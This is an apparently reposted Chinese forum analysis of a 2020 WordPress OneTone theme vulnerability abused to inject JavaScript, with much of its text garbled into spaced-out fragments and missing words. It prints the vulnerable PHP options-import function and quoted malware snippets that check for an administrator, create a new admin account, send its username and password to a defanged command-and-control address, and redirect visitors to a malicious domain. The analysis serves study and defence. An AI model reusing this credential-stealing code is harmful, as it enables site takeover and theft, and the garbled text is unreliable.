[28296] 2020-05-12_OneTone漏洞导致JavaScriptCookie劫持

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2020-05-12_OneTone漏洞导致JavaScriptCookie劫持 O n e T o n e J a v a S c r i p t   C o o k i e O t s   2 0 2 0 - 0 5 - 1 2 W o r d P r e s s O n e T o n e W o r d P r e s s i s c h e c k   [   ]   x y z 使 X S S J a v a S c r i p t 访 O n e T o n e   . / w p - c o n t e n t / t h e m e s / o n e t o n e / i n c l u d e s / t h e m e - f u n c t i o n s . p h p   o n e t o n e _ o p t i o n s _ i m p o r t   {   f u n c t i o n   o n e t o n e _ o p t i o n s _ i m p o r t ( ) {         $ o p t i o n _ n a m e   =   o n e t o n e _ o p t i o n _ n a m e ( ) ;         i f ( i s s e t ( $ _ P O S T [ ' o p t i o n s ' ] ) ) {                 $ o p t i o n s   =   s t r i p s l a s h e s ( $ _ P O S T [ ' o p t i o n s ' ] ) ;                 $ n e w _ o p t i o n s   =   j s o n _ d e c o d e ( $ o p t i o n s ,   t r u e ) ;                                 i f ( i s _ a r r a y ( $ n e w _ o p t i o n s )   & &   $ n e w _ o p t i o n s   ! =   N U L L   ) {                         u p d a t e _ o p t i o n ( $ o p t i o n _ n a m e , $ n e w _ o p t i o n s ) ;                         _ e (   ' I m p o r t   s u c c e s s f u l . ' ,   ' o n e t o n e ' ) ;                         e x i t ( 0 ) ;                         }                 }         _ e (   ' I m p o r t   f a i l e d . ' ,   ' o n e t o n e ' ) ;         e x i t ( 0 ) ; } J a v a S c r i p t J a v a S c r i p t w p _ o p t i o n s W o r d P r e s s o n e t o n e 访 便 使 J a v a S c r i p t
- 使 < s c r i p t > J a v a S c r i p t 使 b a s e 6 4 - J a v a S c r i p t e v a l 使 a t o b J a v a S c r i p t J a v a S c r i p t 访 C o o k i e J a v a S c r i p t s e t C o o k i e g e t C o o k i e 访 c o o k i e f u n c t i o n   s e t C o o k i e ( n a m e ,   v a l u e ,   d a y s )   {         v a r   e x p i r e s   =   " " ;         i f   ( d a y s )   {                 v a r   d a t e   =   n e w   D a t e ( ) ;                 d a t e . s e t T i m e ( d a t e . g e t T i m e ( )   +   ( d a y s   *   2 4   *   6 0   *   6 0   *   1 0 0 0 ) ) ;                 e x p i r e s   =   " ;   e x p i r e s = "   +   d a t e . t o U T C S t r i n g ( ) ;         }         d o c u m e n t . c o o k i e   =   n a m e   +   " = "   +   ( v a l u e   | |   " " )   +   e x p i r e s   +   " ;   p a t h = / " ; } f u n c t i o n   g e t C o o k i e ( n a m e )   {         v a r   n a m e E Q   =   n a m e   +   " = " ;         v a r   c a   =   d o c u m e n t . c o o k i e . s p l i t ( " ; " ) ;         f o r   ( v a r   i   =   0 ;   i   <   c a . l e n g t h ;   i + + )   {                 v a r   c   =   c a [ i ] ;                 w h i l e   ( c . c h a r A t ( 0 )   = =   "   " )   c   =   c . s u b s t r i n g ( 1 ,   c . l e n g t h ) ;                 i f   ( c . i n d e x O f ( n a m e E Q )   = =   0 )   r e t u r n   c . s u b s t r i n g ( n a m e E Q . l e n g t h ,   c . l e n g t h         }         r e t u r n   n u l l ; } . . . i s A d m i n 访 w p - a d m i n H T M L w p - a d m i n - b a r - c u s t o m i z e W o r d P r e s s W o r d P r e s s
i s A d m i n / w p - a d m i n / u s e r - n e w . p h p w p - a d m i n W o r d P r e s s 访 W o r d P r e s s f u n c t i o n   i s A d m i n ( )   {         r e t u r n   ! ! d o c u m e n t . g e t E l e m e n t B y I d ( ' w p - a d m i n - b a r - c u s t o m i z e ' )                 | |   d o c u m e n t . d o c u m e n t E l e m e n t . i n n e r H T M L . i n c l u d e s ( " u s e r "   +   " - n e w . p h p " ) ; } J a v a S c r i p t m a i n 使 访 使 i s A d m i n w p - a d m i n 使 g e t C o o k i e T h o 3 f a e K   c o o k i e   / w p - a d m i n / u s e r - n e w . p h p U R L / w p - a d m i n / u s e r - n e w . p h p a d m i n / w p - a d m i n / u s e r - n e w . p h p P O S T s y s t e m i f   ( r e q . r e s p o n s e U R L . i n c l u d e s ( " u p d a t e = a d d " ) )   {                                         v a r   i n f o   =   b a s e D i r   +   " ; ; ; "   +   u s e r n a m e   +   " ; ; ; "   +   p a s s w o r d ;                                         v a r   g a t e U r l   =   " h x x p : / / 1 9 3 . 3 7 . 2 1 4 [ . ] 2 0 : 2 8 5 1 3 / i n p s d s d 2 " ;                                         r e q u e s t ( g a t e U r l ,   " P O S T " ,   " s = "   +   e n c o d e U R I C o m p o n e n t ( i n f o ) ,                                   }                         } ; W e b U R L u p d a t e   =   a d d 使 P O S T a d m i n U R L   i n f o C 2 使 s e t C o o k i e T h o 3 f a e K c o o k i e   d o 3 6 5
访 访 使 H T M L 访 使 H T M L < s c r i p t > J a v a s c r i p t 使 a d m i n W o r d P r e s s P H P   s h e l l - J a v a S c r i p t 访 C 2 访 w p - a d m i n J a v a S c r i p t 访 p p k c o o k i e   c o o k i e   u n   - 访 i s c h e c k   [   ]   x y z v a r   x   =   g e t C o o k i e ( " p p k c o o k i e " ) ;                 i f   ( x   ! = =   " u n " )   {                         i f   ( i s D e s k t o p ( )   | |   i s M o b i l e ( ) )   {                                 s e t C o o k i e ( " p p k c o o k i e " ,   " u n " ,   3 0 ) ;                                 w i n d o w . l o c a t i o n . r e p l a c e ( " h x x p s : / / i s c h e c k [ . ] x y z / ? o n e t o n e " ) ;                         }                 } 使 访 J a v a S c r i p t 访 J a v a S c r i p t S i t e C h e c k P H P P H P 使 使 J a v a S c r i p t P H P D D o S

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则